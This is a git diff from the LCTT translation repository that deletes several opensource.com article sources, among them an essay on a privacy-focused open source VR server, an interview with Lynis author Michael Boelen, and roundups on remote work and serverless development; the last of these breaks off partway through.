Google Suite with Nextcloud_][3], Correspondent Don Watkins explains how Nextcloud has matured in recent years to become a true alternative to Google Drive and Microsoft 365. Don begins by reviewing how to get started with Nextcloud, then he outlines its key features, including the ability to "sync, share, and collaboratively view and edit files, as well as [share] calendars, contacts, email, chats, video calls, project management, [and] notes." - -### 6 alternatives to Wunderlist - -Wunderlist was a popular tool to track to-do lists, but when Microsoft announced it was shutting it down, many people began looking for alternatives. Jen Wike Huger does an excellent job summarizing [_6 open source alternatives to Wunderlist_][4], including OwnCloud, OpenTasks, and more. If you're still looking for a Wunderlist replacement or are just curious to know what is out there for tracking your to-do's, make sure to read Jen's article. - -### Plausible Analytics instead of Google Analytics - -In [_Transparent, open source alternative to Google Analytics_][5], Marko Saric describes Plausible Analytics as a "leaner, more transparent option [to Google Analytics], with the essential data you need but without all the privacy baggage." By "baggage," Marko means privacy policies, GDPR-consent prompts, and other things that come with Google Analytics. With Plausible Analytics, you don't need to worry about such privacy restrictions; the tool doesn't collect any personal data or use cookies and still provides accurate visitor statistics for your website. - -### Mycroft instead of Alexa - -Many people are wary about the private conversations their Apple, Google, and Amazon voice assistants may have access to. Those looking for a private option may want to explore Mycroft, [_A secure and private open source alternative to Alexa_][6]. Correspondent Steve Ovens describes Mycroft as the "open source alternative … [that] puts privacy at the forefront." - -### HomeBank instead of Quicken - -Quicken is a proprietary personal financial management tool—and you guessed it, there is an open source alternative for it. In [_How to use HomeBank for your open source alternative to Quicken_][7], Correspondent Jessica Cherry provides an overview of HomeBank and walks through how to install the software, create an account, and analyze your finances with the tool. If you're looking for an open source option to help manage your spending habits, make sure to read Jess' article about HomeBank. - -### GoDBLedger instead of proprietary accounting software - -Sean Darcy, an accountant frustrated by outdated accounting software solutions, decided to spend six months building GoDBLedger, an open source option to improve accountants' productivity. In [_Open source accounting software developed by accountants_][8], he outlines the challenges he faced with previous tools due to poor usability, unintuitive user experiences, and slow compilation that "involves a lot of human labor to achieve." He then demonstrates how GoDBLedger solves each of these challenges. - -### 4 alternatives to Grammarly - -Grammarly is one of the most popular tools to "check your writing for spelling, grammar, plagiarism, and style errors," writes Seth Kenlon. But instead of Grammarly, Seth uses open source options for each of these use cases. In [_Open source alternatives to Grammarly for word processing_][9], he describes the tool that works best for each of Grammarly's functionalities, such as Flyspell, a lightweight open source spell checker. - -### 7 alternatives to StackOverflow or Quora - -Instead of using StackOverflow or Quora as your knowledge-base Q&A site, why not switch to an open source alternative? Correspondent Bryant Son walks through [_7 open source Q&A platforms_][10], including Discourse, Vanilla, AskBot, and more. If you are looking for a new Q&A platform, make sure to check out Bryant's article! - -### Top open source alternatives in 2021? - -Which open source alternatives do you think will make the headlines in 2021? Let us know in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/12/open-source-alternatives - -作者:[Jason Blais][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jasonblais -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://opensource.com/article/20/6/open-source-alternatives-vs-code -[3]: https://opensource.com/article/20/7/nextcloud -[4]: https://opensource.com/article/20/5/alternatives-list -[5]: https://opensource.com/article/20/5/plausible-analytics -[6]: https://opensource.com/article/20/6/open-source-voice-assistant -[7]: https://opensource.com/article/20/2/open-source-homebank -[8]: https://opensource.com/article/20/7/godbledger -[9]: https://opensource.com/article/20/3/open-source-writing-tools -[10]: https://opensource.com/article/20/2/open-source-qa diff --git a/sources/talk/20201224 Why I rewrote my open source virtual reality server.md b/sources/talk/20201224 Why I rewrote my open source virtual reality server.md deleted file mode 100644 index d1e2ff8107..0000000000 --- a/sources/talk/20201224 Why I rewrote my open source virtual reality server.md +++ /dev/null @@ -1,153 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why I rewrote my open source virtual reality server) -[#]: via: (https://opensource.com/article/20/12/virtual-reality-server) -[#]: author: (Josip Almasi https://opensource.com/users/jalmasi) - -Why I rewrote my open source virtual reality server -====== -With VRSpace, you can play group VR games across platforms without -sacrificing your privacy. -![new techie gadgets representing innovation][1] - -Look! I wrote a virtual reality (VR) server and [published it on GitHub][2]! But _why_? - -Well, I'm your typical introverted hacker. I like to play with technology. Whenever something new comes out, I have to lay my hands on it and get them dirty. So, when I gifted myself Oculus Quest last year, I played a few games before I wanted to code something myself. And guess what? _Everything is_ _proprietary!_ - -Alright, this may be a bit of an overstatement. But my overall impression of the VR industry is exactly that—it's all proprietary! Hardware and software vendors are trying to lock developers in to sell more devices and development tools than their competitors—deja vu, like the Unix wars in the last century. - -![VRSpace.org][3] - -Choosing an avatar and portals to virtual spaces. ([Gileon][4], [hong227][5], [Jasna Almasi][6], [CC BY-SA 4.0][7]) - -But welcome to the 21st century; we live in clouds now! Clouds take all our data and store it somewhere safe at the cloud owner's mercy. Take Oculus Quest 2, for instance. You can't even use it without a Facebook account. But once you do, all your data goes to Facebook. - -What kind of data? _Biometric_ _data_. - -VR devices track our movements, know our real-world height, and more. GDPR and other privacy laws include this type of biometric data in the highest security categories. Rightfully so, as this data enables the worst kind of privacy invasions. Imagine, for instance, a deepfake that mimics your every movement. - -I'm using Facebook as an example, but the risks are the same with any private organization whose code cannot be scrutinized. - -### Building an open, interoperable VR server - -Privacy is but one of my motivations for writing a VR server; the other is my family. - -My kids play together in real life, and they also want to play together in VR. I have another VR headset, an Acer OJO, but that exists in a different world of Windows Mixed Reality from an Oculus. Once again, vendor lock-in gets in the way. For my kids to play VR together, we'd need two Microsoft or two Facebook headsets. - -But there's a way out. - -Enter the [WebXR][8] Device API. This [open source][9] specification "describes support for accessing virtual reality (VR) and augmented reality (AR) devices, including sensors and head-mounted displays, on the web." It's VR and AR (summarized by _X_) that works on every device, just as the web has to work on any device—including mobile devices. - -WebXR includes a [WebGL layer][10], and there are a number of JavaScript libraries (such as Three.js) to help developers working with WebGL and a full-featured open source game engine, BabylonJS. (Three.js fans might want to try [CS1 Game Engine][11], a promising yet unfinished library with performance and developer experience as top priorities.) - -The tools also interoperate with popular web development frameworks like Angular and React. There's also [glTF][12], an open standard for 3D models that pretty much every relevant tool reads and writes, as well as an incredible number of open source 3D models that are mostly published under Creative Commons Attribution licenses. - -The only thing missing was a server. One that would deliver content (models) and presentation logic (JavaScript), collect and distribute user events, and implement business (game) logic, but _would not store any sensitive data_. - -It just happens that 20 years ago, I wrote an open source VR server named [VRSpace][13]. Unfortunately, it was way too early for its own good, and the project died along with the client technology ([VRML][14]). But I knew exactly what I needed to do for today's VR, so I wrote it again. And luckily, it's much easier to do with modern technologies. - -![Old VRSpace][15] - -Twenty years ago, VRSpace.org was a chat with a chatbot. ([Arni Barisic][16], Slaven Katic, Josip Almasi, [CC BY-SA 4.0][7]) - -Rather than reflecting on the good ol' times and 20 years of technology gap, I'll talk about some of the design choices I made and the open source tools I used. - -### Two decades later: Java and JavaScript - -I chose Java and [Spring Boot][17] simply because I use them daily. But truth be told, Node.js might be a better tool for this job, as it is easier to develop and maintain software written in one language than two. For the client side, I chose [BabylonJS][18], because it's a full-featured WebXR game engine and plain JavaScript, and I didn't want the client to depend on a user interface (UI) framework. - -BabylonJS is written in TypeScript, so if I wanted to make a monolithic product, I'd go with TypeScript. On the other hand, I don't want to enforce any specific technology on the client side. Web browsers are not the only kind of client that will want to interact in VR, and native apps usually give the best performance. - -The communication layer doesn't depend on anything else, which may be relevant if you want to implement your own VR client or a headless client like a chatbot. - -To store the data, I chose the [Neo4J][19] database, which turned out to be as good as it gets. It can be embedded into my server and store all of my objects. Except for sensitive ones, of course, so I took special care to mark every sensitive field as transient. If I didn't care about this, you couldn't trust my server to protect your private data against nosy government institutions or criminals looking to steal valuable biometric data. - -Communication happens with JSON over WebSockets—because it just works. Protocol-wise, it's far from the best choice. The sheer number of events emitted from VR device sensors is much higher than your usual first-person shooter; VR gear tracks your arms and head, various buttons and joysticks, possibly even eye movements, and every finger. Rate limiting is a must-have no matter what. - -But what about chat? VR devices don't have keyboards, nor do mobile devices once they're head-mounted as VR gear. Virtual keyboards inside VR are not very useful, and they're certainly useless for chat. So voice chat seems the only option. Luckily, there's an open source chat server called [OpenVidu][20]. I made my server talk to that server so that people can chat with each other. - -Last but not least, security. Embedding a script into a JSON string is trivial, and to prevent cross-site scripting attacks, the server must, at a minimum, sanitize each and every incoming request. - -![VRSpace architecture][21] - -(Josip Almasi, [CC BY-SA 4.0][7]) - -### Wide-open virtual spaces - -People need open spaces every once in a while, just to keep their sanity. Prisoners get at least an hour outside every day. NASA expects astronauts to be able to endure long periods of confinement. But ordinary people just can't stand being inside all the time. - -I've been rather confined for months now, but VR to the rescue! Making a virtual space requires spending endless hours trying out different models and backgrounds and doing much more testing. For physical and mental health, it's not as good as the real stuff, but it's good enough to keep people sane. - -![VRSpace.org virtual worlds][22] - -VRSpace.org virtual worlds created by [farhad.Guli][23], [anthwolf][24], [fenixman12][25], [ShadowTan][26], [Binkley-Spacetrucker][27], and [exima113][28] (Josip Almasi, [CC BY-SA 4.0][7]) - -Now that I've written the server, my kids can finally play hide and seek together in any virtual world they choose, with my wife and me alongside them—two VR headsets, a PC, and a mobile, all playing together. So far, we can only play hide and seek because there are not any other games yet. We started playing a "make a game" game; so far, we have a game map, the first level, and of course, zombies. - -But what's the point of having software that nobody uses? My first VR server was not widely used, but it was used by people all over the world. I remember some students in Korea and a girl in Uruguay sitting on her daddy's lap, enchanted by dolphins flying through a virtual replica of a far-away city. - -But my best memory is being told, "programmers like you are benefactors of humanity." This is what open source is all about: benefiting humanity. Not just me, not just my family, not just paying customers, not just my company, but anybody, anywhere and possibly everybody, everywhere. - -And that is why I wrote that VR server again and [published it on GitHub][2]. - -### Get involved - -I'm running a [demo server][29] of the current code, available to anyone anonymously. I installed a [Redmine][30] server on it; it has a wiki, forums, bug reports, and everything, so if you want to collaborate or just get in touch, see you [there][31] and on [GitHub][2]! - -I also made a [YouTube channel][32] for demos and tutorials and made a few movies (with another open source tool called [Shotcut][33]). [This video][34] explains all of the project's features at a glance. And I made a [Facebook page][35] because literally everybody knows about Facebook. - -I hope to see you in the virtual worlds, so stay safe and have fun! - -Mozilla's MozVR is a new technology that combines the open web and virtual reality, enabling... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/12/virtual-reality-server - -作者:[Josip Almasi][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jalmasi -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/innovation_virtual_gadgets_device_drone.png?itok=JTAgRb-1 (new techie gadgets representing innovation) -[2]: https://github.com/jalmasi/vrspace -[3]: https://opensource.com/sites/default/files/uploads/vrspace.png (VRSpace.org) -[4]: https://sketchfab.com/gileon -[5]: https://sketchfab.com/hong227 -[6]: https://www.linkedin.com/in/jasna-almasi/ -[7]: https://creativecommons.org/licenses/by-sa/4.0/ -[8]: https://www.w3.org/TR/webxr/ -[9]: https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document -[10]: https://www.w3.org/TR/webxr/#xrwebgllayer-interface -[11]: https://github.com/EricEisaman/cs1-engine -[12]: https://en.wikipedia.org/wiki/GlTF -[13]: http://old.vrspace.org/ -[14]: https://en.wikipedia.org/wiki/VRML -[15]: https://opensource.com/sites/default/files/uploads/vrspace_old.jpg (Old VRSpace) -[16]: https://www.facebook.com/arni.barisic -[17]: https://spring.io/projects/spring-boot -[18]: https://www.babylonjs.com/ -[19]: https://neo4j.com/ -[20]: https://openvidu.io/ -[21]: https://opensource.com/sites/default/files/uploads/vrspace_architecture.png (VRSpace architecture) -[22]: https://opensource.com/sites/default/files/uploads/virtualworlds.png (VRSpace.org virtual worlds) -[23]: https://sketchfab.com/farhad.Guli -[24]: https://sketchfab.com/anthmurphy -[25]: https://sketchfab.com/fenixman12 -[26]: https://sketchfab.com/ShadowTan -[27]: https://sketchfab.com/Binkley-Piratepants -[28]: https://sketchfab.com/Exima113 -[29]: http://www.vrspace.org/ -[30]: https://redmine.org/ -[31]: https://redmine.vrspace.org/ -[32]: https://www.youtube.com/channel/UCLdSg22i9MZ3u7ityj_PBxw -[33]: https://shotcut.org/ -[34]: https://vrdays.co/videos/vrspace-org-diy-multiuser-vr-for-the-web/ -[35]: https://www.facebook.com/vrspace.org diff --git a/sources/talk/20201227 9 insights from pivoting to remote work in 2020.md b/sources/talk/20201227 9 insights from pivoting to remote work in 2020.md deleted file mode 100644 index 9f976581f8..0000000000 --- a/sources/talk/20201227 9 insights from pivoting to remote work in 2020.md +++ /dev/null @@ -1,96 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (9 insights from pivoting to remote work in 2020) -[#]: via: (https://opensource.com/article/20/12/remote-work) -[#]: author: (Dawn Parzych https://opensource.com/users/dawnparzych) - -9 insights from pivoting to remote work in 2020 -====== -Remote work is now standard for many companies and workers. Here is a -roundup from this year's lessons learned in remote work. -![Selfcare, calm routine][1] - -2020 was the year remote work became the norm. Due to the COVID-19 pandemic, people and companies shifted to "temporary" remote work, though many have now extended it indefinitely. As remote work will be the norm for the foreseeable future, here’s a review of some of the many articles published on Opensource.com regarding remote work practices, tools, and activities to manage this new normal. - -### Tools - -When shifting the way we work, we also need to look at the tools we use. Tools that work in person may not be as effective in a remote world. We need to look for new and different ways of sharing information. The articles below highlight some of the tools that come in handy for remote work. - -#### [Top 10 open source tools for working from home][2] - -We rely on tools on a daily basis. Working remotely requires adding new tools to our belt. Here, Seth shares his top 10 communication and collaboration tools. If you’re looking to up your collaboration game, check out this article for suggestions on: - - * Video conferencing and chat - * Virtual whiteboards - * Virtual notebooks - * Shared documents, spreadsheets, and storage - - - -#### [Is it possible to run a conference using only free software?][3] - -Not only did employers and employees have to figure out how to support a remote workforce, but industry conferences and tradeshows had to be reimagined for the virtual world. The value in a conference isn’t only the talks; it’s also in the interaction with others, open spaces, and the hallway track. Zoe shares how the [Free Software Foundation][4] took LibrePlanet fully virtual using open source software and what they would improve upon for future events. - -#### [How to set up a remote school environment for kids with Linux][5] - -For those of you who have kids returning to remote learning from in-person learning, this one is for you. Alan shares how he took an unused computer to create a system suitable for full-time remote school. You don’t need the latest and greatest hardware due to the efficiency of the Linux operating system; even a 10-year-old laptop can get the job done. - -### Activities - -Whether you’re looking for a side project or something to do outside of work, the articles highlighted below may help motivate you to try something new. - -#### [6 open source teaching tools for virtual classrooms][6] - -The tools Mathias mentions aren’t just for virtual classrooms. Want to start a podcast? Create YouTube videos? How about live stream your coding adventures? These tools can help you get started—topics range from how to record with Open Broadcaster Studio to audio and video editing. If you’re looking for a new activity, check out the tools in this article for inspiration. - -#### [5 open source activities while you work from home][7] - -We all need a break from our computers. I’ve heard a lot of people talk about Zoom fatigue as they stare at a screen all day and then into the evenings for social gatherings, community events, or virtual classes. Seth’s article highlights several things you can do to take a break from the computer. - -#### [Create web tutorials with Reveal.js and Git][8] - -You might be thinking, "what does creating a web tutorial have to do with remote work?" Many in-person workshops, customer training, and internal trainings have also shifted online. With people working asynchronously, it can be impossible to find a single time convenient for everybody to participate. Creating a self-paced tutorial or workshop may be the answer. Here, Eric shares the process and tools he uses to create online self-paced workshops, including examples. - -### Practices - -We should always be looking for new ways of doing things. These articles share insights into how you can improve your teams’ operations. Sometimes a fresh idea or insight can break us out of a rut. What "new-to-you" suggestion can you incorporate into your daily work? - -#### [7 ways not to manage your remote team][9] - -Many of these articles focus on what an individual can do, which is good, but good remote practices start at the top. This article covers how NOT to manage a remote team. Matt’s insight is a must-read for anybody who is currently a manager or looking to move into a management role in 2021. - -#### [Love or hate chat? 4 best practices for remote teams][10] - -Every company (and every person, for that matter) has its own preference when it comes to chat. Chat doesn’t have to be synchronous; it can be effectively asynchronous, as long as everybody is aware of the expectations and norms. Jen discusses four areas where teams should define the rules of chat to ensure everybody’s needs surrounding chat-based communication are met. - -#### [5 tips for working from home from a veteran remotee][11] - -You may think that you're an expert after months of working remotely, but there is always still room to learn. And maybe some of the habits you initially put in place have now taken a back seat several months later. It’s time to look again at ways to improve your day-to-day. I’ve worked remotely for years, and I still found valuable tips in Birthe’s article on working remotely. The structure for the daily and weekly meetings is a great way to keep meetings focused and on track. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/12/remote-work - -作者:[Dawn Parzych][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dawnparzych -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/meditate_zen_wfh_outside_family_selfcare_520.png?itok=qoSXLqRw (Selfcare, calm routine) -[2]: https://opensource.com/article/20/3/open-source-working-home -[3]: https://opensource.com/article/20/5/conference-free-software -[4]: https://www.fsf.org/ -[5]: https://opensource.com/article/20/4/school-home-linux -[6]: https://opensource.com/article/20/4/open-source-remote-teaching-tools -[7]: https://opensource.com/article/20/4/open-source-activities -[8]: https://opensource.com/article/20/4/create-web-tutorial-git -[9]: https://opensource.com/article/20/1/ways-not-manage-remote-team -[10]: https://opensource.com/article/20/4/chat-tools-best-practices -[11]: https://opensource.com/article/20/4/home-office-tips diff --git a/sources/talk/20210105 My Linux Story- How an influential security developer got started in open source.md b/sources/talk/20210105 My Linux Story- How an influential security developer got started in open source.md deleted file mode 100644 index 1e4c2e0bc9..0000000000 --- a/sources/talk/20210105 My Linux Story- How an influential security developer got started in open source.md +++ /dev/null @@ -1,119 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (My Linux Story: How an influential security developer got started in open source) -[#]: via: (https://opensource.com/article/21/1/lynis) -[#]: author: (Gaurav Kamathe https://opensource.com/users/gkamathe) - -My Linux Story: How an influential security developer got started in open source -====== -Michael Boelen shares how he strengthened Lynis by building a company -around the open source, security auditing and hardening tool. -![A lock on the side of a building][1] - -Michael Boelen is very active in computer security. He is the author of the popular open source security tools Rootkit Hunter ([rkhunter][2]) and [Lynis][3], and he blogs about Linux security on [Linux Audit][4] and evaluates security tools on [Linux Security Expert][5]. He also formed a company named [CISOfy][6] around the Lynis tool to help organizations with security audits of multiple operating systems. - -[Having used Lynis][7], I was eager to speak with Michael to learn about his views on Linux, security, and open source software. The following interview has been edited for clarity and conciseness. - -**Gaurav: Michael, could you please introduce yourself?** - -**Michael:** Hi there! My name is Michael Boelen, and I live in the southern part of The Netherlands with my wife, Debbie, and our son, Hugo. I was born in 1982 and got hooked on computers early when we got a used Commodore 64 from our neighbors. In the beginning, my brother and I played games like [Boulder Dash][8] on it. Then I discovered you could create your own programs in BASIC. It was a magical feeling to make something out of nothing. At the age of 10, my programs were simple, but the desire to create more had emerged. - -Later on, I moved to a 286 with MS-DOS. It did not take long before it got infected with a computer virus. Some viruses were pretty funny, like characters that slowly dropped from the screen. Maybe this is the origin of my interest in malware and information security. - -You could always find me behind the computer when I was not at school. We played games on the computers that followed, like a 150MHz Intel Pentium and later a 450MHz Intel Pentium III. When I was alone, I tried to figure out how things worked, including programming and learning how to build computers. - -Moving quickly forward: I completed school a bit too easily due to circumstances like not having the right modules. For example, I dropped mathematics B because I didn't like it. A few years later, my mentor told me that I could not proceed to higher education due to missing that module. Oops… So I had to continue education below my level. It did not encourage me to study further after completing it, so I went on a job hunt. I got my first full-time job in 2002 at a small company that created a customer relationship management (CRM) solution with some additional web development. My direct manager saw my potential and gave me the freedom to research and optimize or replace existing services. I migrated an old system running Sendmail, created a new DNS server, and developed a custom web interface for both. I was doing DevOps when the word did not exist yet. - -After my first full-time job, I switched to a consultancy company. This company served most of the more prominent companies in The Netherlands. It provided me with a few opportunities to work for multinationals like Philips, ASML, and a daughter company of Deutsche Telekom named T-Systems. Work included technical responsibilities for things like Unix administration and data storage. Next in line were roles such as security officer, problem manager, and service manager. That last role taught me more about financial planning, budgeting, servicing internal stakeholders, and dealing with deadlines. - -It came time to take a bold step: say farewell to a well-paying job and start my own company. That happened in 2013. The idea was to create a valuable service that used the open source tool Lynis in its core. At the same time, it allowed me to do more development on the tool while allowing me to make a living. Fortunately, things worked out well for me and, more importantly, for the Lynis project. - -**Gaurav: You have been associated with open source software and security for quite some time. What projects have you worked on?** - -**Michael:** People may know me from two popular software projects named rkhunter and Lynis. I created rkhunter in 2003 to offer an alternative for chkrootkit. As the name implies, it finds traces of rootkits or other malware parts that can exist on a system. - -The other tool is Lynis, a security tool to scan Unix-based systems to detect room for improvement when it comes to system hardening. - -**Gaurav: How did you get started in open source?** - -**Michael:** My real start with open source was in 2003 with rkhunter. I did not have enough shell scripting experience to help the chkrootkit project when I found it showed several false positives on a FreeBSD system. Instead, I decided it was a great opportunity to learn shell scripting and, at the same time, build a useful tool. As a bonus challenge, I thought it was a good idea to make it [POSIX][9] compatible. This way, it could run on Linux, but also on BSD, Solaris, and others. - -**Gaurav: What does open source software mean to you?** - -**Michael:** Open source is a way to express creativity in software while solving a problem. With the right license, it allows almost anyone to use the software, typically for free. That is also important, as not everyone has the luxury to pay for software or related services. The Dutch are known to be humble, outspoken, and in love with things being "gratis." This word is the same in Latin and means "for thanks" or "for nothing." While the F in FOSS does not refer to this type of free, I believe it is a powerful driver to bring the software into more people's hands. That is valuable in itself, as it can open the gates to more feedback, ideas, or even code improvements. - -**Gaurav: What compelled you to develop Lynis?** - -**Michael:** In 2007, while being between two jobs for a month, I wanted to start a new project that helped me in my own job of improving security aspects of Linux and Unix-based systems. Existing tooling seemed to be outdated, so I wanted a fresh start. - -**Gaurav: How is Lynis different from other security tools available out there? What has been your experience promoting Lynis as an open source tool?** - -**Michael:** There are many security tools available. I'm reviewing many of them as part of the Linux Security Expert project. After looking at hundreds of tools, I found that Lynis has something that many of them don't have. The difference is "simplicity," or making the tool as easy to use as possible. From this experience, I can also share that it is really hard to make a tool simple to use. - -When it comes to promoting Lynis, I try to diversify things. Sometimes it is writing about it in a blog post or speaking at a conference. At the same time, the value of the tool itself does the real promotion. People tend to share the tool with others because they like it. I strongly believe in the value of promotion. It shows your creation to more people, resulting in increased usage and suggestions. So, if you are a tool author, don't skip this part. You might like to read my blog post _[How to promote your open source project][10]_. - -**Gaurav: You also run a popular blog at Linux Audit. Does it complement your learning from Lynis or Linux security in general?** - -**Michael:** Yes, the blog is popular and consists of hundreds of articles. Nowadays, I get less time to write, but I hope that will change soon. Blogging is a great way to dive into a difficult subject and turn it into something easier for the reader to understand. The principle of "simplicity" really applies here as well. The blog focuses on Linux security, including the use of Lynis, but also other relevant topics. - -**Gaurav: You also formed a company named CISOfy around Lynis and to provide training. Please tell me about these.** - -**Michael:** I'm very wary about companies using their open source software as a marketing instrument. That's not how Lynis and CISOfy relate. The Lynis project was there long before the company was founded (2007 and 2013, respectively). Instead of the software being closed, as with some other security companies, the company allowed me to do more active development on the tool and gave it a big boost. I believe that doing good for others returns the favor in unexpected ways. - -And I'm also very strict when it comes to Lynis: It must remain open source. That is one of the primary reasons I founded the company. - -To ensure that there's a clear line in the sand, we named the commercial part Lynis Enterprise. It is not an extended version of Lynis but a separate thing that actually requires the Lynis tool. This way, the company relies on the quality of the tool, which gives it a strong motivation to keep investing in Lynis. Everyone wins, as both the community and customers get a better tool in their hands. - -Although textbooks say companies exist to make money and turn a profit, I discovered that a software company can also make a difference. For this reason, I decided several years ago that we should no longer use tools like Google Analytics, and we got rid of tracking technologies. We also limit the data that we collect and store to the bare minimum to conduct business. I dislike spam, so that is also the reason we don't reach out to companies or individuals. You only receive email from us if you requested it or do business with us. Right now, I want CISOfy to become even more proactive in things besides privacy. One is to support more sustainability initiatives, such as becoming CO2 neutral or even absorbing CO2. Things like using solar power, donating to causes that help with replanting of forests, switching a more sustainable bank, and so on. - -**Gaurav: As Linux continues to grow, it will likely continue to be a target for malware authors. What do you think?** - -**Michael:** We have already seen an increase, even though most attacks still focus on Windows, Android, and Apple-based systems. My guess is that targeting a Linux system has its own challenges, such as the variety in distributions and versions. - -**Gaurav: How is ransomware different from regular malware, and how should organizations tackle this threat?** - -**Michael:** It is a different threat actor with the primary focus on getting your data and holding it hostage. My suggestion is simple: [make backups and test your restores][11]. - -**Gaurav: People often want to work on Linux security but have no idea where to start. How do you suggest they get started?** - -**Michael:** I would suggest implementing security measures on your personal systems or any test devices that you have available. If you don't know where to start, then Lynis might be a good inspiration for what can be done when it comes to Linux security. You also mentioned the Linux Audit blog, which might help readers get more familiar with the subject. - -**Gaurav: Are you working on any interesting new projects or tools?** - -**Michael:** Spare time is minimal currently. We recently moved to a new house and are still settling in. When my spare time increases, I will most likely start blogging again and reviewing security tools for the Linux Security Expert website. - -**Gaurav: When not working on Lynis or security tooling, what do you do in your spare time?** - -**Michael:** It depends a little bit on the season. I like a good walk and drinking a whisky. Then there are the chores at home and in the garden. My current focus is on cleaning up the crawl space under the house to add additional floor insulation. The attic also needs further insulation. Not an average spare-time project, but essential for the comfort level in the future. - -### Find out more - -If you're interested in learning how to secure your operating system, you will find a wealth of information on Michael's blogs. Also, open source enthusiasts should try Lynis to uncover weaknesses in their systems and learn how to mitigate them. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/1/lynis - -作者:[Gaurav Kamathe][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/gkamathe -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_3reasons.png?itok=k6F3-BqA (A lock on the side of a building) -[2]: http://rkhunter.sourceforge.net/ -[3]: https://cisofy.com/lynis/ -[4]: https://linux-audit.com/ -[5]: https://linuxsecurity.expert/ -[6]: https://cisofy.com/ -[7]: https://opensource.com/article/20/5/linux-security-lynis -[8]: https://en.wikipedia.org/wiki/Boulder_Dash -[9]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains -[10]: https://linux-audit.com/how-to-promote-your-open-source-project/ -[11]: https://opensource.com/article/19/3/backup-solutions diff --git a/sources/talk/20210107 3 serverless strategies to look for in 2021.md b/sources/talk/20210107 3 serverless strategies to look for in 2021.md deleted file mode 100644 index 33e6748d84..0000000000 --- a/sources/talk/20210107 3 serverless strategies to look for in 2021.md +++ /dev/null @@ -1,62 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (3 serverless strategies to look for in 2021) -[#]: via: (https://opensource.com/article/21/1/devapps-strategies) -[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) - -3 serverless strategies to look for in 2021 -====== -These serverless applications development and deployment approaches are -driving fast-adoption of the DevApps practice today. -![Tips and gears turning][1] - -If you had at least one chance to attend business and technologies conferences recently, you probably saw lots of DevOps strategies, Agilist, and DevSecOps engineers around the digital transformation track. No matter what business you work in, it’s no secret that [DevOps][2] is a big trigger to craft new companies. It is also used to optimize existing resources, from the IT infrastructure to workflow processes and cultural changes. - -While I was moderating several tracks (i.e., serverless) at [KubeCon + CloudNativeCon North America 2020][3], I had a chance to catch a very interesting trend around DevOps.The trend was more interest in cloud-native application development than deployment and provisioning with certain cloud platforms on [Kubernetes][4]. Kubernetes was unleashed upon the world back in 2014. Since then, IT ops organizations have benefited from orchestrating immutable application runtimes with service invocation and discovery, autoscaling, and resilience by using Kubernetes. In the meantime, application workloads also need to move forward to serverless functions and event-driven reactive services, along with the DevOps platform, which is a key ability to manage multi and hybrid cloud infrastructure. - -In this article, I will talk about _DevApps_ more than _DevOps_ since the applications are critical to accelerate your business success, along with matured DevOps tools and technologies. The following three serverless applications development and deployment approaches are driving fast-adoption of the DevApps practice today. - -### Serverless functions - -The COVID-19 pandemic triggered enterprises to run business services on the managed platform. Also, developers began transforming existing microservices into [serverless][5] functions. [Cloud-Native Serverless Landscape][6] can be the first step for developers to create deployable functions across managed cloud platforms. More importantly, it’s not easy to develop traditional microservices and serverless functions on the same application runtime along the container-native way. For 10+ million Java developers worldwide, [Quarkus][7] enables them to address this complex issue without a steep learning curve for both imperative and serverless applications. - -### Serverless events - -Event-driven services are growing because they increase flexibility and agility. They also reduce dependencies and complexity in application development. Serverless events enable developers to maximize these benefits when they implement event publishers and exchange data across serverless platforms. [Knative Eventing][8] is built on [CloudEvents][9] to allow developers to write serverless events with late-binding features such as event creation, event sinks, and event consumption. - -### Serverless workflows - -With the rise in popularity to adopt [the DevOps pipeline][10], workflows definition is also becoming a key role in serverless events coordination. This is because serverless functions are also increasingly complex and composed of multiple tasks in a single event. To specify complex business workflows with serverless workloads, [Serverless Workflow][11] allows developers to define the workflow models with a vendor-neutral specification for orchestrating serverless events. The Serverless Workflow specification is an initiative project by CNCF. - -### What’s next for DevApps developers? - -With many different cloud-native Java frameworks in place, Quarkus gives developers more benefits from container-first design to live coding for inner loop development, imperative and reactive programming, and more 